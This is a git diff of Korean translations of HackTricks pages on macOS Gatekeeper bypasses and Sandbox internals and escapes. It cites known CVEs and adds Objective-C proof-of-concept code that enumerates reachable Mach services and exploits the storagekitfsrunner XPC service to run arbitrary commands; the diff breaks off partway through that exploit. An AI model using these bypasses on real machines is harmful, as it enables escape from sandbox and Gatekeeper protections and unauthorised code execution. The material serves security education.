Gatekeeper로 캐시한 후, **애플리케이션의 실행 불가능한 파일**(예: Electron asar 또는 NIB 파일)을 수정하고, 다른 보호 장치가 없으면 애플리케이션이 **악성** 추가 사항과 함께 **실행되었습니다**. +따라서 이전에는 앱을 실행하여 Gatekeeper로 캐시한 후, **애플리케이션의 비실행 파일**(예: Electron asar 또는 NIB 파일)을 수정하고 다른 보호 장치가 없으면 애플리케이션이 **악성** 추가 사항과 함께 **실행되었습니다**. -하지만 이제 macOS는 애플리케이션 번들 내 파일 수정을 **방지**하므로, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 공격을 시도하면 더 이상 이를 악용할 수 없음을 알게 될 것입니다. 앱을 실행하여 Gatekeeper로 캐시한 후에는 번들을 수정할 수 없습니다. 예를 들어 Contents 디렉토리의 이름을 NotCon으로 변경하고 (악용에서 지시한 대로) 앱의 주요 바이너리를 실행하여 Gatekeeper로 캐시하면 오류가 발생하고 실행되지 않습니다. +하지만 이제는 macOS가 애플리케이션 번들 내의 파일 수정을 **방지하기 때문에** 이 방법은 더 이상 불가능합니다. 따라서 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 공격을 시도하면, 앱을 실행하여 Gatekeeper로 캐시한 후 번들을 수정할 수 없게 되므로 더 이상 악용할 수 없다는 것을 알게 될 것입니다. 예를 들어 Contents 디렉토리의 이름을 NotCon으로 변경하고 (악용에서 지시한 대로) 앱의 주요 바이너리를 실행하여 Gatekeeper로 캐시하면 오류가 발생하고 실행되지 않습니다. -## Gatekeeper 우회 +## Gatekeeper Bypasses -Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 Gatekeeper가 이를 허용하지 않아야 할 때 실행하도록 만드는 것)은 macOS의 취약점으로 간주됩니다. 과거에 Gatekeeper를 우회할 수 있게 해준 기술에 할당된 CVE는 다음과 같습니다: +Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 Gatekeeper가 이를 차단해야 할 때 실행하도록 만드는 것)은 macOS의 취약점으로 간주됩니다. 과거에 Gatekeeper를 우회할 수 있게 해준 기술에 할당된 CVE는 다음과 같습니다: ### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) @@ -334,9 +330,9 @@ Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 G ### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper) -**Automator**로 생성된 애플리케이션의 경우, 실행에 필요한 정보는 `application.app/Contents/document.wflow`에 있으며 실행 파일에는 없습니다. 실행 파일은 **Automator Application Stub**이라는 일반 Automator 바이너리입니다. +**Automator**로 생성된 애플리케이션의 경우, 실행에 필요한 정보는 `application.app/Contents/document.wflow`에 있으며 실행 파일에는 없습니다. 실행 파일은 **Automator Application Stub**이라는 일반 Automator 바이너리일 뿐입니다. -따라서 `application.app/Contents/MacOS/Automator\ Application\ Stub`이 **시스템 내 다른 Automator Application Stub을 가리키는 심볼릭 링크를 만들 수 있습니다**. 그러면 `document.wflow`(당신의 스크립트) 내의 내용을 **Gatekeeper를 트리거하지 않고 실행**합니다. 실제 실행 파일에는 격리 xattr가 없기 때문입니다. +따라서 `application.app/Contents/MacOS/Automator\ Application\ Stub`이 **시스템 내의 다른 Automator Application Stub을 가리키는 심볼릭 링크로 설정**할 수 있으며, 그러면 `document.wflow`(당신의 스크립트) 내의 내용을 **Gatekeeper를 트리거하지 않고 실행**합니다. 예상 위치: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub` @@ -344,7 +340,7 @@ Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 G ### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) -이 우회에서는 `application.app/Contents`에서 압축을 시작하는 애플리케이션으로 zip 파일이 생성되었습니다. 따라서 **quarantine attr**는 **`application.app/Contents`의 모든 파일에 적용되었지만**, **`application.app`에는 적용되지 않았습니다**. Gatekeeper가 확인하는 것은 `application.app`이었기 때문에, `application.app`이 트리거될 때 **격리 속성이 없었습니다.** +이 우회에서는 `application.app/Contents`에서 압축을 시작하는 애플리케이션으로 zip 파일이 생성되었습니다. 따라서 **quarantine attr**는 **`application.app/Contents`의 모든 파일에 적용되었지만**, **`application.app`에는 적용되지 않았습니다**. Gatekeeper가 확인하는 것은 `application.app`이었기 때문에, `application.app`이 트리거될 때 **quarantine 속성이 없었습니다.** ```bash zip -r test.app/Contents test.zip ``` @@ -356,7 +352,7 @@ Check the [**original report**](https://www.jamf.com/blog/jamf-threat-labs-safar ```bash aa archive -d test.app/Contents -o test.app.aar ``` -자세한 내용은 [**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)를 확인하세요. +더 많은 정보는 [**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)를 확인하세요. ### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) @@ -429,10 +425,7 @@ aa archive -d s/ -o app.aar ### Prevent Quarantine xattr -".app" 번들에 격리 xattr가 추가되지 않으면, 실행할 때 **Gatekeeper가 트리거되지 않습니다**. +".app" 번들에 quarantine xattr가 추가되지 않으면, 실행할 때 **Gatekeeper가 트리거되지 않습니다**. -
- -{% embed url="https://websec.nl/" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index 6dc85dca0..f3821b583 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -4,7 +4,7 @@ ## Basic Information -MacOS Sandbox (초기 이름: Seatbelt) **는 샌드박스 내에서 실행되는 애플리케이션의** **허용된 작업**을 **샌드박스 프로필에 지정된 대로 제한**합니다. 이는 **애플리케이션이 예상된 리소스만 접근하도록 보장하는 데 도움**이 됩니다. +MacOS Sandbox (초기 이름: Seatbelt) **는 샌드박스 내에서 실행되는 애플리케이션의** **허용된 작업**을 **샌드박스 프로필에 지정된 대로 제한**합니다. 이는 **애플리케이션이 예상된 리소스만 접근하도록 보장하는 데 도움**을 줍니다. **`com.apple.security.app-sandbox`** 권한을 가진 모든 애플리케이션은 샌드박스 내에서 실행됩니다. **Apple 바이너리**는 일반적으로 샌드박스 내에서 실행되며, **App Store의 모든 애플리케이션은 해당 권한을 가집니다**. 따라서 여러 애플리케이션이 샌드박스 내에서 실행됩니다. @@ -19,7 +19,7 @@ MacOS Sandbox (초기 이름: Seatbelt) **는 샌드박스 내에서 실행되 ### Containers -모든 샌드박스화된 애플리케이션은 `~/Library/Containers/{CFBundleIdentifier}`에 고유한 컨테이너를 가집니다: +모든 샌드박스 애플리케이션은 `~/Library/Containers/{CFBundleIdentifier}`에 고유한 컨테이너를 가집니다: ```bash ls -l ~/Library/Containers total 0 @@ -30,7 +30,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -각 번들 ID 폴더 안에는 **plist**와 홈 폴더를 모방한 구조의 앱 **데이터 디렉토리**를 찾을 수 있습니다: +각 번들 ID 폴더 안에는 **plist**와 홈 폴더를 모방한 구조의 앱 **Data directory**를 찾을 수 있습니다: ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -54,7 +54,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` > [!CAUTION] -> 심볼릭 링크가 Sandbox에서 "탈출"하여 다른 폴더에 접근하기 위해 존재하더라도, 앱은 여전히 **접근 권한**을 **가져야** 합니다. 이러한 권한은 `RedirectablePaths`의 **`.plist`** 안에 있습니다. +> 심볼릭 링크가 Sandbox에서 "탈출"하여 다른 폴더에 접근하기 위해 존재하더라도, 앱은 여전히 **접근 권한**을 가져야 합니다. 이러한 권한은 `RedirectablePaths`의 **`.plist`** 안에 있습니다. **`SandboxProfileData`**는 B64로 이스케이프된 컴파일된 샌드박스 프로필 CFData입니다. ```bash @@ -133,7 +133,7 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... > [!TIP] > 이 [**연구**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/)를 확인하여 허용되거나 거부될 수 있는 더 많은 작업을 확인하세요. > -> 프로파일의 컴파일된 버전에서는 작업의 이름이 dylib와 kext에 의해 알려진 배열의 항목으로 대체되어 컴파일된 버전이 더 짧고 읽기 어렵게 만듭니다. +> 프로파일의 컴파일된 버전에서는 작업의 이름이 dylib와 kext에서 알려진 배열의 항목으로 대체되어 컴파일된 버전이 더 짧고 읽기 어렵게 만듭니다. 중요한 **시스템 서비스**는 `mdnsresponder` 서비스와 같은 자체 맞춤 **샌드박스** 내에서 실행됩니다. 이러한 맞춤 **샌드박스 프로파일**은 다음에서 확인할 수 있습니다: @@ -143,7 +143,9 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... **App Store** 앱은 **프로파일** **`/System/Library/Sandbox/Profiles/application.sb`**를 사용합니다. 이 프로파일에서 **`com.apple.security.network.server`**와 같은 권한이 프로세스가 네트워크를 사용할 수 있도록 허용하는 방법을 확인할 수 있습니다. -SIP는 /System/Library/Sandbox/rootless.conf에 있는 platform_profile이라는 샌드박스 프로파일입니다. +그런 다음, 일부 **Apple 데몬 서비스**는 `/System/Library/Sandbox/Profiles/*.sb` 또는 `/usr/share/sandbox/*.sb`에 위치한 다른 프로파일을 사용합니다. 이러한 샌드박스는 API `sandbox_init_XXX`를 호출하는 주요 기능에 적용됩니다. + +**SIP**는 `/System/Library/Sandbox/rootless.conf`에 있는 platform_profile이라는 샌드박스 프로파일입니다. ### 샌드박스 프로파일 예시 @@ -214,18 +216,18 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last (version 1) (trace /tmp/trace.out) ``` -그런 다음 해당 프로필을 사용하여 무언가를 실행하십시오: +그런 다음 해당 프로필을 사용하여 무언가를 실행합니다: ```bash sandbox-exec -f /tmp/trace.sb /bin/ls ``` `/tmp/trace.out`에서 호출될 때마다 수행된 각 샌드박스 검사를 볼 수 있습니다(즉, 많은 중복이 발생합니다). -**`-t`** 매개변수를 사용하여 샌드박스를 추적하는 것도 가능합니다: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls` +**`-t`** 매개변수를 사용하여 샌드박스를 추적할 수도 있습니다: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls` #### API를 통한 방법 `libsystem_sandbox.dylib`에서 내보낸 `sandbox_set_trace_path` 함수는 샌드박스 검사가 기록될 추적 파일 이름을 지정할 수 있게 해줍니다.\ -`sandbox_vtrace_enable()`을 호출하고, 그 후 `sandbox_vtrace_report()`를 호출하여 버퍼에서 로그 오류를 가져오는 유사한 작업도 가능합니다. +`sandbox_vtrace_enable()`을 호출하고, 그 후 `sandbox_vtrace_report()`를 호출하여 버퍼에서 로그 오류를 가져오는 유사한 작업을 수행할 수도 있습니다. ### 샌드박스 검사 @@ -237,7 +239,7 @@ MacOS는 시스템 샌드박스 프로파일을 두 위치에 저장합니다: * 그리고 서드파티 애플리케이션이 _**com.apple.security.app-sandbox**_ 권한을 가지고 있다면, 시스템은 해당 프로세스에 **/System/Library/Sandbox/Profiles/application.sb** 프로파일을 적용합니다. -iOS에서는 기본 프로파일이 **container**라고 하며, SBPL 텍스트 표현이 없습니다. 메모리에서 이 샌드박스는 샌드박스의 각 권한에 대해 허용/거부 이진 트리로 표현됩니다. +iOS에서는 기본 프로파일이 **container**라고 하며, SBPL 텍스트 표현이 없습니다. 메모리에서 이 샌드박스는 샌드박스의 각 권한에 대한 허용/거부 이진 트리로 표현됩니다. ### App Store 앱의 사용자 정의 SBPL @@ -259,13 +261,13 @@ iOS에서는 기본 프로파일이 **container**라고 하며, SBPL 텍스트 이 도구의 리버스 및 [**오픈 소스 버전인 sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c)는 **`sandbox-exec`**가 컴파일된 Sandbox 프로필을 파일에 기록할 수 있게 합니다. -또한, 프로세스를 컨테이너 내에 제한하려면 `sandbox_spawnattrs_set[container/profilename]`를 호출하고 컨테이너 또는 기존 프로필을 전달할 수 있습니다. +또한, 프로세스를 컨테이너 내부에 제한하려면 `sandbox_spawnattrs_set[container/profilename]`를 호출하고 컨테이너 또는 기존 프로필을 전달할 수 있습니다. ## Sandbox 디버그 및 우회 -macOS에서는 프로세스가 커널에 의해 처음부터 Sandbox에 격리되는 iOS와 달리, **프로세스가 스스로 Sandbox에 참여해야 합니다**. 이는 macOS에서 프로세스가 적극적으로 Sandbox에 들어가기로 결정할 때까지 Sandbox에 의해 제한되지 않음을 의미하며, App Store 앱은 항상 Sandbox에 격리됩니다. +macOS에서는 프로세스가 커널에 의해 처음부터 샌드박스화되는 iOS와 달리, **프로세스가 스스로 샌드박스에 참여해야 합니다**. 이는 macOS에서 프로세스가 적극적으로 샌드박스에 들어가기로 결정할 때까지 샌드박스에 의해 제한되지 않음을 의미하며, App Store 앱은 항상 샌드박스화됩니다. -프로세스는 `com.apple.security.app-sandbox` 권한이 있을 경우 사용자 공간에서 시작할 때 자동으로 Sandbox에 격리됩니다. 이 프로세스에 대한 자세한 설명은 다음을 확인하십시오: +프로세스는 `com.apple.security.app-sandbox` 권한이 있을 경우 사용자 공간에서 시작할 때 자동으로 샌드박스화됩니다. 이 프로세스에 대한 자세한 설명은 다음을 확인하십시오: {{#ref}} macos-sandbox-debug-and-bypass/ @@ -285,14 +287,14 @@ macos-sandbox-debug-and-bypass/ 확장은 프로세스 자격 증명에서 접근할 수 있는 두 번째 MACF 레이블 슬롯에 저장됩니다. 다음 **`sbtool`**이 이 정보를 접근할 수 있습니다. -확장은 일반적으로 허용된 프로세스에 의해 부여되며, 예를 들어, `tccd`는 프로세스가 사진에 접근하려고 시도하고 XPC 메시지에서 허용되었을 때 `com.apple.tcc.kTCCServicePhotos`의 확장 토큰을 부여합니다. 그런 다음 프로세스는 확장 토큰을 소비해야 추가됩니다.\ +확장은 일반적으로 허용된 프로세스에 의해 부여된다는 점에 유의하십시오. 예를 들어, `tccd`는 프로세스가 사진에 접근하려고 시도하고 XPC 메시지에서 허용되었을 때 `com.apple.tcc.kTCCServicePhotos`의 확장 토큰을 부여합니다. 그런 다음 프로세스는 확장 토큰을 소비해야 추가됩니다.\ 확장 토큰은 부여된 권한을 인코딩하는 긴 16진수입니다. 그러나 허용된 PID가 하드코딩되어 있지 않으므로, 토큰에 접근할 수 있는 모든 프로세스가 **여러 프로세스에 의해 소비될 수 있습니다**. 확장은 권한과 매우 관련이 있으므로 특정 권한을 가지면 특정 확장이 자동으로 부여될 수 있습니다. ### **PID 권한 확인** -[**이것에 따르면**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s), **`sandbox_check`** 함수(이는 `__mac_syscall`입니다)는 특정 PID, 감사 토큰 또는 고유 ID에 대해 **작업이 허용되는지 여부를 확인할 수 있습니다**. +[**이것에 따르면**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s), **`sandbox_check`** 함수(이는 `__mac_syscall`입니다)는 특정 PID, 감사 토큰 또는 고유 ID에 대해 **작업이 허용되는지 여부를** 확인할 수 있습니다. [**도구 sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c) (여기 [컴파일된 버전 찾기](https://newosxbook.com/articles/hitsb.html))는 PID가 특정 작업을 수행할 수 있는지 확인할 수 있습니다: ```bash @@ -313,9 +315,9 @@ sbtool all ## mac_syscall -이 시스템 호출 (#381)은 첫 번째 인수로 실행할 모듈을 나타내는 문자열을 기대하며, 두 번째 인수로 실행할 함수를 나타내는 코드를 기대합니다. 그런 다음 세 번째 인수는 실행된 함수에 따라 달라집니다. +이 시스템 호출 (#381)은 첫 번째 인수로 실행할 모듈을 나타내는 문자열을 기대하며, 두 번째 인수로 실행할 함수를 나타내는 코드를 기대합니다. 세 번째 인수는 실행된 함수에 따라 달라집니다. -함수 `___sandbox_ms` 호출은 `mac_syscall`을 래핑하며 첫 번째 인수로 `"Sandbox"`를 나타냅니다. `___sandbox_msp`는 `mac_set_proc` (#387)의 래퍼입니다. 그런 다음 `___sandbox_ms`에서 지원하는 코드의 일부는 다음 표에서 찾을 수 있습니다: +함수 `___sandbox_ms` 호출은 `mac_syscall`을 래핑하며 첫 번째 인수로 `"Sandbox"`를 나타냅니다. `___sandbox_msp`는 `mac_set_proc` (#387)의 래퍼입니다. 그런 다음, `___sandbox_ms`에서 지원되는 일부 코드는 다음 표에서 확인할 수 있습니다: - **set_profile (#0)**: 프로세스에 컴파일된 또는 명명된 프로필을 적용합니다. - **platform_policy (#1)**: 플랫폼별 정책 검사를 시행합니다 (macOS와 iOS 간에 다름). @@ -356,13 +358,13 @@ iOS에서는 커널 확장이 **모든 프로필을 하드코딩**하여 `__TEXT ### MACF Hooks -**`Sandbox.kext`**는 MACF를 통해 백 개 이상의 후킹을 사용합니다. 대부분의 후킹은 사소한 경우를 확인하여 작업을 수행할 수 있도록 허용하며, 그렇지 않은 경우 **`cred_sb_evalutate`**를 호출하여 MACF의 **credentials**와 수행할 **operation**에 해당하는 숫자 및 출력용 **buffer**를 전달합니다. +**`Sandbox.kext`**는 MACF를 통해 백 개 이상의 후킹을 사용합니다. 대부분의 후킹은 사소한 경우를 확인하여 작업을 수행할 수 있도록 하며, 그렇지 않은 경우 **`cred_sb_evalutate`**를 호출하여 MACF의 **credentials**와 수행할 **operation**에 해당하는 숫자 및 **output**을 위한 **buffer**를 전달합니다. -그 좋은 예는 **`_mpo_file_check_mmap`** 함수로, **`mmap`**을 후킹하며 새로운 메모리가 쓰기 가능할지 확인하고 (그렇지 않으면 실행을 허용하지 않음), dyld 공유 캐시를 위해 사용되는지 확인한 후 실행을 허용합니다. 마지막으로 **`sb_evaluate_internal`** (또는 그 래퍼 중 하나)을 호출하여 추가 허용 검사를 수행합니다. +그 좋은 예는 **`_mpo_file_check_mmap`** 함수로, **`mmap`**을 후킹하며 새로운 메모리가 쓰기 가능할지 확인한 후 (그렇지 않으면 실행을 허용하지 않음), dyld 공유 캐시를 위해 사용되는지 확인하고, 그렇다면 실행을 허용하며, 마지막으로 **`sb_evaluate_internal`** (또는 그 래퍼 중 하나)을 호출하여 추가 허용 검사를 수행합니다. -게다가, 샌드박스가 사용하는 수백 개의 후킹 중에서 특히 흥미로운 세 가지가 있습니다: +게다가, 샌드박스가 사용하는 수백 개의 후킹 중에서 특히 흥미로운 세 가지는 다음과 같습니다: -- `mpo_proc_check_for`: 필요할 경우 프로필을 적용하며 이전에 적용되지 않은 경우에만 적용합니다. +- `mpo_proc_check_for`: 필요할 경우 프로필을 적용하며, 이전에 적용되지 않은 경우에만 적용합니다. - `mpo_vnode_check_exec`: 프로세스가 관련 이진 파일을 로드할 때 호출되며, 프로필 검사가 수행되고 SUID/SGID 실행을 금지하는 검사도 수행됩니다. - `mpo_cred_label_update_execve`: 레이블이 할당될 때 호출됩니다. 이 함수는 이진 파일이 완전히 로드되었지만 아직 실행되지 않았을 때 호출되므로 가장 긴 함수입니다. 샌드박스 객체를 생성하고, kauth 자격 증명에 샌드박스 구조를 첨부하고, mach 포트에 대한 액세스를 제거하는 등의 작업을 수행합니다. @@ -370,7 +372,7 @@ iOS에서는 커널 확장이 **모든 프로필을 하드코딩**하여 `__TEXT ## Sandboxd -샌드박스는 XPC Mach 서비스 `com.apple.sandboxd`를 노출하는 사용자 데몬도 실행하며, 커널 확장이 통신하는 데 사용하는 특별한 포트 14 (`HOST_SEATBELT_PORT`)에 바인딩됩니다. MIG를 사용하여 몇 가지 기능을 노출합니다. +샌드박스는 XPC Mach 서비스 `com.apple.sandboxd`를 노출하는 사용자 데몬도 실행하며, 커널 확장이 이를 통신하는 데 사용하는 특별한 포트 14 (`HOST_SEATBELT_PORT`)에 바인딩됩니다. MIG를 사용하여 일부 기능을 노출합니다. ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md index e78e1adae..ab7cd19da 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md @@ -6,11 +6,11 @@

Image from http://newosxbook.com/files/HITSB.pdf

-이전 이미지에서 **샌드박스가 어떻게 로드될 것인지**를 관찰할 수 있습니다. 이는 **`com.apple.security.app-sandbox`** 권한을 가진 애플리케이션이 실행될 때 발생합니다. +이전 이미지에서 **샌드박스가 어떻게 로드되는지** 관찰할 수 있습니다. 이는 **`com.apple.security.app-sandbox`** 권한을 가진 애플리케이션이 실행될 때 발생합니다. 컴파일러는 `/usr/lib/libSystem.B.dylib`를 바이너리에 링크합니다. -그런 다음, **`libSystem.B`**는 여러 다른 함수를 호출하여 **`xpc_pipe_routine`**이 애플리케이션의 권한을 **`securityd`**에 전송할 때까지 진행합니다. Securityd는 프로세스가 샌드박스 내에서 격리되어야 하는지 확인하고, 그렇다면 격리합니다.\ +그런 다음, **`libSystem.B`**는 여러 다른 함수를 호출하여 **`xpc_pipe_routine`**이 애플리케이션의 권한을 **`securityd`**에 전송합니다. Securityd는 프로세스가 샌드박스 내에서 격리되어야 하는지 확인하고, 그렇다면 격리합니다.\ 마지막으로, 샌드박스는 **`__sandbox_ms`**에 대한 호출로 활성화되며, 이는 **`__mac_syscall`**을 호출합니다. ## Possible Bypasses @@ -19,10 +19,10 @@ **샌드박스화된 프로세스에 의해 생성된 파일**은 샌드박스 탈출을 방지하기 위해 **격리 속성**이 추가됩니다. 그러나 샌드박스화된 애플리케이션 내에서 **격리 속성이 없는 `.app` 폴더를 생성**할 수 있다면, 애플리케이션 번들 바이너리를 **`/bin/bash`**로 가리키게 하고 **plist**에 몇 가지 환경 변수를 추가하여 **`open`**을 악용하여 **새 애플리케이션을 샌드박스 없이 실행**할 수 있습니다. -이것은 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**에서 수행된 것입니다.** +이것은 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**에서 수행된 작업입니다.** > [!CAUTION] -> 따라서 현재로서는 **격리 속성이 없는 `.app`**로 끝나는 이름의 폴더를 생성할 수 있다면, 샌드박스를 탈출할 수 있습니다. macOS는 **`.app` 폴더**와 **주 실행 파일**에서만 **격리** 속성을 **확인**하기 때문입니다 (그리고 우리는 주 실행 파일을 **`/bin/bash`**로 가리키게 할 것입니다). +> 따라서 현재로서는 **`.app`**로 끝나는 이름의 폴더를 격리 속성 없이 생성할 수 있다면, 샌드박스를 탈출할 수 있습니다. macOS는 **`.app` 폴더**와 **주 실행 파일**에서만 **격리** 속성을 **확인**하기 때문입니다 (그리고 우리는 주 실행 파일을 **`/bin/bash`**로 가리키게 할 것입니다). > > 이미 실행할 수 있도록 승인된 .app 번들이 있다면 (실행 승인 플래그가 있는 격리 xttr가 있는 경우), 그것을 악용할 수도 있습니다... 단, 이제는 샌드박스 내에서 **`.app`** 번들에 쓸 수 없게 됩니다. (특권 TCC 권한이 없기 때문입니다). @@ -41,9 +41,9 @@ macos-office-sandbox-bypasses.md ### Abusing Auto Start Locations -샌드박스화된 프로세스가 **나중에 샌드박스 없이 실행될 애플리케이션이 바이너리를 실행할 위치에** **쓰기**가 가능하다면, 그곳에 바이너리를 **배치하기만 하면** 탈출할 수 있습니다. 이러한 위치의 좋은 예는 `~/Library/LaunchAgents` 또는 `/System/Library/LaunchDaemons`입니다. +샌드박스화된 프로세스가 **나중에 샌드박스 없이 실행될 애플리케이션이 바이너리를 실행할 위치에** **쓰기** 할 수 있다면, 그곳에 바이너리를 배치함으로써 **탈출할 수 있습니다**. 이러한 위치의 좋은 예는 `~/Library/LaunchAgents` 또는 `/System/Library/LaunchDaemons`입니다. -이를 위해서는 **2단계**가 필요할 수 있습니다: **더 관대하게 설정된 샌드박스** (`file-read*`, `file-write*`)에서 프로세스를 실행하여 실제로 **샌드박스 없이 실행될** 위치에 코드를 작성하게 합니다. +이를 위해서는 **2단계**가 필요할 수 있습니다: **더 관대한 샌드박스** (`file-read*`, `file-write*`)를 가진 프로세스를 실행하여 실제로 **샌드박스 없이 실행될 위치에** 코드를 작성하게 합니다. **자동 시작 위치**에 대한 이 페이지를 확인하세요: @@ -53,29 +53,190 @@ macos-office-sandbox-bypasses.md ### Abusing other processes -샌드박스 프로세스에서 **덜 제한적인 샌드박스**(또는 없는 샌드박스)에서 실행 중인 다른 프로세스를 **타격**할 수 있다면, 그들의 샌드박스로 탈출할 수 있습니다: +샌드박스 프로세스에서 **덜 제한적인 샌드박스**(또는 없는 샌드박스)에서 실행 중인 다른 프로세스를 **타격**할 수 있다면, 그들의 샌드박스를 탈출할 수 있습니다: {{#ref}} ../../../macos-proces-abuse/ {{#endref}} -### Static Compiling & Dynamically linking +### Available System and User Mach services -[**이 연구**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)는 샌드박스를 우회하는 2가지 방법을 발견했습니다. 샌드박스는 **libSystem** 라이브러리가 로드될 때 사용자 공간에서 적용됩니다. 바이너리가 이를 로드하지 않도록 할 수 있다면, 샌드박스에 걸리지 않을 것입니다: +샌드박스는 또한 프로필 `application.sb`를 통해 특정 **Mach 서비스**와 통신할 수 있도록 허용합니다. 이러한 서비스 중 하나를 **악용**할 수 있다면 **샌드박스를 탈출**할 수 있습니다. -- 바이너리가 **완전히 정적으로 컴파일**되었다면, 해당 라이브러리를 로드하지 않을 수 있습니다. -- **바이너리가 어떤 라이브러리도 로드할 필요가 없다면** (링커도 libSystem에 있기 때문에), libSystem을 로드할 필요가 없습니다. +[이 글](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)에서 언급된 바와 같이, Mach 서비스에 대한 정보는 `/System/Library/xpc/launchd.plist`에 저장됩니다. `System` 및 `User`를 해당 파일에서 검색하여 모든 시스템 및 사용자 Mach 서비스를 찾을 수 있습니다. -### Shellcodes +또한, `bootstrap_look_up`을 호출하여 샌드박스화된 애플리케이션에 Mach 서비스가 사용 가능한지 확인할 수 있습니다. +```objectivec +void checkService(const char *serviceName) { +mach_port_t service_port = MACH_PORT_NULL; +kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port); +if (!err) { +NSLog(@"available service:%s", serviceName); +mach_port_deallocate(mach_task_self_, service_port); +} +} -**셸코드**조차도 ARM64에서 `libSystem.dylib`에 링크되어야 함을 유의하세요: +void print_available_xpc(void) { +NSDictionary* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"]; +NSDictionary* launchDaemons = dict[@"LaunchDaemons"]; +for (NSString* key in launchDaemons) { +NSDictionary* job = launchDaemons[key]; +NSDictionary* machServices = job[@"MachServices"]; +for (NSString* serviceName in machServices) { +checkService(serviceName.UTF8String); +} +} +} +``` +### 사용 가능한 PID Mach 서비스 + +이 Mach 서비스는 [이 문서에서 샌드박스를 탈출하기 위해 처음으로 악용되었습니다](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). 그 당시, **애플리케이션과 그 프레임워크에서 요구되는 모든 XPC 서비스**가 앱의 PID 도메인에서 볼 수 있었습니다 (이들은 `ServiceType`이 `Application`인 Mach 서비스입니다). + +**PID 도메인 XPC 서비스에 연락하기 위해서는**, 앱 내에서 다음과 같은 한 줄로 등록하기만 하면 됩니다: +```objectivec +[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load]; +``` +또한, `System/Library/xpc/launchd.plist`에서 `Application`를 검색하여 모든 **Application** Mach 서비스를 찾는 것이 가능합니다. + +유효한 xpc 서비스를 찾는 또 다른 방법은 다음의 서비스를 확인하는 것입니다: +```bash +find /System/Library/Frameworks -name "*.xpc" +find /System/Library/PrivateFrameworks -name "*.xpc" +``` +이 기술을 악용한 여러 예시는 [**원본 작성물**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)에서 찾을 수 있지만, 다음은 요약된 몇 가지 예입니다. + +#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc + +이 서비스는 항상 `YES`를 반환하여 모든 XPC 연결을 허용하며, 메서드 `runTask:arguments:withReply:`는 임의의 명령을 임의의 매개변수로 실행합니다. + +익스플로잇은 "매우 간단했다": +```objectivec +@protocol SKRemoteTaskRunnerProtocol +-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply; +@end + +void exploit_storagekitfsrunner(void) { +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)]; +[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}]; +[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}]; +[conn 